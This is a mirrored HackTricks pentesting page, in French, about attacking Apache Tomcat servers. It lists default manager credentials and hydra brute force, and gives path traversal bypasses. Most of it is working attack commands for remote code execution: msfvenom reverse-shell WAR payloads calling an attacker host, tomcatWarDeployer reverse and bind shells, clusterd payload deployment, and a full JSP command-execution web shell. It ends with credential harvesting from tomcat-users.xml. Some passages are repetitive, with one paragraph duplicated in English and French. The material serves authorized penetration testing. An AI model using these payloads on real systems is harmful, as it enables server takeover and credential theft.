mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
344 lines
20 KiB
Markdown
344 lines
20 KiB
Markdown
# Tomcat
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
|
|
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
|
|
|
***
|
|
|
|
## Découverte
|
|
|
|
* Il fonctionne généralement sur le **port 8080**
|
|
* **Erreur courante de Tomcat :**
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Énumération
|
|
|
|
### Version
|
|
```bash
|
|
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
|
|
|
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"
|
|
```
|
|
### Localiser les fichiers du gestionnaire
|
|
|
|
Il est intéressant de trouver où se trouvent les pages **`/manager`** et **`/host-manager`** car elles peuvent avoir un nom différent. Vous pouvez les rechercher avec une attaque par force brute.
|
|
|
|
### Énumération des noms d'utilisateur
|
|
|
|
Dans certaines versions antérieures à Tomcat6, vous pouviez énumérer les utilisateurs :
|
|
```bash
|
|
msf> use auxiliary/scanner/http/tomcat_enum
|
|
```
|
|
### Identifiants par défaut
|
|
|
|
Le chemin le plus intéressant de Tomcat est _**/manager/html**_, à l'intérieur de ce **chemin, vous pouvez télécharger et déployer des fichiers war** (exécuter du code). Mais ce chemin est protégé par une authentification HTTP de base, les identifiants les plus courants sont :
|
|
|
|
* admin:admin
|
|
* tomcat:tomcat
|
|
* admin:\<RIEN>
|
|
* admin:s3cr3t
|
|
* tomcat:s3cr3t
|
|
* admin:tomcat
|
|
|
|
Vous pouvez tester ces identifiants et d'autres en utilisant :
|
|
```bash
|
|
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
|
```
|
|
Un autre chemin **intéressant de Tomcat** est _**/manager/status**_, où vous pouvez voir la version du système d'exploitation et de Tomcat. Cela est utile pour trouver des vulnérabilités affectant la version de Tomcat lorsque vous ne pouvez pas accéder à _**/manager/html.**_
|
|
|
|
### Bruteforce
|
|
```bash
|
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
|
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
|
|
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
|
|
```
|
|
## Vulnérabilités
|
|
|
|
### Divulgation de la trace arrière du mot de passe
|
|
|
|
Essayez d'accéder à `/auth.jsp` et avec un peu de chance, il pourrait **divulguer le mot de passe dans une trace arrière**.
|
|
|
|
### Double encodage d'URL
|
|
|
|
Une vulnérabilité bien connue pour accéder au gestionnaire d'applications est mod_jk dans CVE-2007-1860, qui permet **la traversée de chemin avec double encodage d'URL**.
|
|
|
|
Pour accéder à la gestion web de Tomcat, allez à : _pathTomcat/%252E%252E/manager/html_
|
|
|
|
Notez que pour télécharger le webshell, vous devrez peut-être utiliser l'astuce du double encodage d'URL et envoyer également un cookie et/ou un jeton SSRF.\
|
|
Pour accéder à la porte dérobée, vous devrez peut-être également utiliser l'astuce du double encodage d'URL.
|
|
|
|
### /examples
|
|
|
|
Les scripts d'exemple suivants fournis avec Apache Tomcat v4.x - v7.x peuvent être utilisés par des attaquants pour obtenir des informations sur le système. Ces scripts sont également connus pour être vulnérables aux injections de script intersites (XSS) (à partir de [ici](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
|
|
|
|
* /examples/jsp/num/numguess.jsp
|
|
* /examples/jsp/dates/date.jsp
|
|
* /examples/jsp/snp/snoop.jsp
|
|
* /examples/jsp/error/error.html
|
|
* /examples/jsp/sessions/carts.html
|
|
* /examples/jsp/checkbox/check.html
|
|
* /examples/jsp/colors/colors.html
|
|
* /examples/jsp/cal/login.html
|
|
* /examples/jsp/include/include.jsp
|
|
* /examples/jsp/forward/forward.jsp
|
|
* /examples/jsp/plugin/plugin.jsp
|
|
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
|
* /examples/jsp/simpletag/foo.jsp
|
|
* /examples/jsp/mail/sendmail.jsp
|
|
* /examples/servlet/HelloWorldExample
|
|
* /examples/servlet/RequestInfoExample
|
|
* /examples/servlet/RequestHeaderExample
|
|
* /examples/servlet/RequestParamExample
|
|
* /examples/servlet/CookieExample
|
|
* /examples/servlet/JndiServlet
|
|
* /examples/servlet/SessionExample
|
|
* /tomcat-docs/appdev/sample/web/hello.jsp
|
|
|
|
### Traversée de chemin (..;/)
|
|
|
|
Dans certaines [**configurations vulnérables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), vous pouvez accéder à des répertoires protégés dans Tomcat en utilisant le chemin : `/..;/`
|
|
|
|
Ainsi, par exemple, vous pourriez être en mesure d'**accéder à la page du gestionnaire Tomcat** en accédant à : `www.vulnerable.com/lalala/..;/manager/html`
|
|
|
|
**Une autre façon** de contourner les chemins protégés en utilisant cette astuce est d'accéder à `http://www.vulnerable.com/;param=value/manager/html`
|
|
|
|
## RCE
|
|
|
|
Enfin, si vous avez accès au gestionnaire d'applications Web de Tomcat, vous pouvez **télécharger et déployer un fichier .war (exécuter du code)**.
|
|
|
|
### Limitations
|
|
|
|
Vous ne pourrez déployer un fichier WAR que si vous avez **suffisamment de privilèges** (rôles : **admin**, **manager** et **manager-script**). Ces détails peuvent être trouvés dans le fichier _tomcat-users.xml_ généralement défini dans `/usr/share/tomcat9/etc/tomcat-users.xml` (cela varie selon les versions) (voir la section [POST](tomcat.md#post)).
|
|
```bash
|
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
|
|
|
# deploy under "path" context path
|
|
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
|
|
|
# undeploy
|
|
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
|
```
|
|
### Metasploit
|
|
|
|
Metasploit est un framework de test de pénétration largement utilisé pour l'exploitation de vulnérabilités dans les systèmes informatiques. Il offre une vaste gamme d'outils et de modules qui permettent aux testeurs de pénétration d'automatiser les attaques et de trouver des failles de sécurité dans les applications et les réseaux.
|
|
|
|
Metasploit est écrit en Ruby et est disponible en tant qu'outil open source. Il est utilisé par les professionnels de la sécurité pour évaluer la sécurité des systèmes et pour effectuer des tests de pénétration. Metasploit est également utilisé par les hackers éthiques pour tester la sécurité de leurs propres systèmes et pour trouver des vulnérabilités avant que les cybercriminels ne les exploitent.
|
|
|
|
Le framework Metasploit comprend un certain nombre de modules qui peuvent être utilisés pour effectuer différentes tâches lors d'un test de pénétration. Ces modules peuvent être utilisés pour scanner des réseaux, rechercher des vulnérabilités, exploiter des failles de sécurité et exécuter des attaques spécifiques.
|
|
|
|
Metasploit est un outil puissant qui nécessite une connaissance approfondie des techniques de test de pénétration et des vulnérabilités informatiques. Il est important de l'utiliser de manière responsable et légale, en obtenant l'autorisation appropriée avant de l'utiliser sur des systèmes qui ne vous appartiennent pas.
|
|
```bash
|
|
use exploit/multi/http/tomcat_mgr_upload
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
|
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|
```
|
|
### Reverse Shell MSFVenom
|
|
|
|
Le shell inversé MSFVenom est une technique couramment utilisée en pentest pour obtenir un accès distant à un système cible. Il permet à un attaquant de prendre le contrôle du système cible en établissant une connexion réseau inversée.
|
|
|
|
#### Génération du payload
|
|
|
|
Pour générer le payload du shell inversé à l'aide de MSFVenom, utilisez la commande suivante :
|
|
|
|
```bash
|
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<votre_IP> LPORT=<votre_port> -f war > shell.war
|
|
```
|
|
|
|
- `java/jsp_shell_reverse_tcp` : spécifie le type de payload à générer, dans ce cas, un shell inversé JSP pour Tomcat.
|
|
- `LHOST` : spécifie votre adresse IP, à laquelle le shell inversé se connectera.
|
|
- `LPORT` : spécifie le port sur lequel le shell inversé se connectera.
|
|
|
|
#### Déploiement du payload
|
|
|
|
Une fois que vous avez généré le fichier `shell.war`, vous devez le déployer sur le serveur Tomcat de la cible. Vous pouvez le faire en utilisant diverses méthodes, telles que l'envoi du fichier via une vulnérabilité d'injection de fichiers ou en le téléchargeant sur le serveur via une autre vulnérabilité.
|
|
|
|
Une fois que le fichier `shell.war` est déployé sur le serveur Tomcat, vous pouvez accéder au shell inversé en accédant à l'URL suivante :
|
|
|
|
```
|
|
http://<adresse_IP_cible>:<port_Tomcat>/shell/
|
|
```
|
|
|
|
#### Établissement de la connexion
|
|
|
|
Lorsque vous accédez à l'URL du shell inversé, une connexion sera établie entre votre machine et le système cible. Vous pourrez alors exécuter des commandes sur le système cible à partir de votre terminal.
|
|
|
|
Assurez-vous de configurer correctement votre pare-feu et de prendre toutes les précautions nécessaires pour protéger votre système lors de l'utilisation de cette technique.
|
|
```bash
|
|
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
|
```
|
|
Ensuite, **téléchargez le fichier `revshell.war` et accédez-y (**_**/revshell/**_**)**
|
|
|
|
### Lier et inverser la coquille avec [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
|
|
|
Dans certains scénarios, cela ne fonctionne pas (par exemple, les anciennes versions de sun)
|
|
|
|
#### Téléchargement
|
|
```bash
|
|
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
|
```
|
|
#### Reverse shell
|
|
|
|
Un reverse shell est une technique utilisée en pentest pour établir une connexion entre un attaquant et une machine cible à travers un réseau. Cela permet à l'attaquant d'exécuter des commandes sur la machine cible à distance.
|
|
|
|
Pour établir un reverse shell, l'attaquant doit d'abord compromettre la machine cible en exploitant une vulnérabilité ou en utilisant des techniques d'ingénierie sociale. Une fois que la machine cible est compromise, l'attaquant peut utiliser un script ou un programme pour établir une connexion inversée avec sa propre machine.
|
|
|
|
Lorsque la connexion est établie, l'attaquant peut exécuter des commandes sur la machine cible comme s'il était directement connecté à celle-ci. Cela peut inclure l'exécution de commandes système, l'accès à des fichiers sensibles, la modification de configurations, etc.
|
|
|
|
Il est important de noter que l'utilisation d'un reverse shell pour accéder à une machine sans autorisation est illégale et peut entraîner des conséquences juridiques graves. Le reverse shell doit être utilisé uniquement à des fins de pentest légitimes et avec le consentement écrit du propriétaire du système cible.
|
|
```bash
|
|
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
|
```
|
|
#### Shell de liaison
|
|
|
|
A bind shell is a type of shell that listens for incoming connections on a specific port. When a connection is established, the bind shell provides a command prompt to the attacker, allowing them to execute commands on the compromised system. This type of shell is commonly used in network pentesting to gain remote access to a target system.
|
|
|
|
Un shell de liaison est un type de shell qui écoute les connexions entrantes sur un port spécifique. Lorsqu'une connexion est établie, le shell de liaison fournit un invite de commande à l'attaquant, lui permettant d'exécuter des commandes sur le système compromis. Ce type de shell est couramment utilisé dans le pentesting réseau pour obtenir un accès distant à un système cible.
|
|
```bash
|
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
|
```
|
|
### Utilisation de [Culsterd](https://github.com/hatRiot/clusterd)
|
|
|
|
Culsterd is a tool that can be used for penetration testing of Apache Tomcat servers. It provides various modules that can be used to exploit vulnerabilities in Tomcat and gain unauthorized access to the server.
|
|
|
|
To use Culsterd, you first need to clone the repository from GitHub:
|
|
|
|
```
|
|
git clone https://github.com/hatRiot/clusterd.git
|
|
```
|
|
|
|
Once you have cloned the repository, navigate to the `clusterd` directory and install the required dependencies:
|
|
|
|
```
|
|
cd clusterd
|
|
pip install -r requirements.txt
|
|
```
|
|
|
|
After installing the dependencies, you can start Culsterd by running the following command:
|
|
|
|
```
|
|
python clusterd.py
|
|
```
|
|
|
|
This will start the Culsterd console, where you can interact with the various modules and execute attacks against the target Tomcat server.
|
|
|
|
Culsterd provides modules for different types of attacks, such as brute-forcing passwords, exploiting weak configurations, and uploading malicious files. Each module has its own set of options that can be configured to customize the attack.
|
|
|
|
To select a module, use the `use` command followed by the module name. For example, to use the `tomcat_manager` module, you would run:
|
|
|
|
```
|
|
use tomcat_manager
|
|
```
|
|
|
|
Once you have selected a module, you can view its options using the `show options` command. This will display a list of configurable options for the selected module.
|
|
|
|
To set a value for an option, use the `set` command followed by the option name and the desired value. For example, to set the target URL for the `tomcat_manager` module, you would run:
|
|
|
|
```
|
|
set url http://target-tomcat-server.com/manager/html
|
|
```
|
|
|
|
After configuring the options, you can execute the attack by running the `run` command. Culsterd will then attempt to exploit the vulnerability and provide feedback on the success or failure of the attack.
|
|
|
|
It is important to note that Culsterd should only be used for authorized penetration testing and not for any malicious purposes. Always ensure that you have proper authorization before conducting any tests using Culsterd.
|
|
```bash
|
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
|
```
|
|
### Méthode manuelle - Web shell
|
|
|
|
Créez **index.jsp** avec ce [contenu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) :
|
|
```java
|
|
<FORM METHOD=GET ACTION='index.jsp'>
|
|
<INPUT name='cmd' type=text>
|
|
<INPUT type=submit value='Run'>
|
|
</FORM>
|
|
<%@ page import="java.io.*" %>
|
|
<%
|
|
String cmd = request.getParameter("cmd");
|
|
String output = "";
|
|
if(cmd != null) {
|
|
String s = null;
|
|
try {
|
|
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
|
BufferedReader sI = new BufferedReader(new
|
|
InputStreamReader(p.getInputStream()));
|
|
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
|
} catch(IOException e) { e.printStackTrace(); }
|
|
}
|
|
%>
|
|
<pre><%=output %></pre>
|
|
```
|
|
|
|
```bash
|
|
mkdir webshell
|
|
cp index.jsp webshell
|
|
cd webshell
|
|
jar -cvf ../webshell.war *
|
|
webshell.war is created
|
|
# Upload it
|
|
```
|
|
Vous pouvez également installer ceci (permet l'envoi, le téléchargement et l'exécution de commandes) : [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
|
|
|
### Méthode manuelle 2
|
|
|
|
Obtenez un shell web JSP tel que [celui-ci](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) et créez un fichier WAR :
|
|
```bash
|
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
|
zip -r backup.war cmd.jsp
|
|
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
|
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
|
```
|
|
## POST
|
|
|
|
Le nom du fichier d'identification de Tomcat est _tomcat-users.xml_.
|
|
```bash
|
|
find / -name tomcat-users.xml 2>/dev/null
|
|
```
|
|
Autres moyens de collecter les identifiants Tomcat :
|
|
```bash
|
|
msf> use post/multi/gather/tomcat_gather
|
|
msf> use post/windows/gather/enum_tomcat
|
|
```
|
|
## Autres outils de scan Tomcat
|
|
|
|
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
|
|
|
<details>
|
|
|
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
|
|
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
|
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|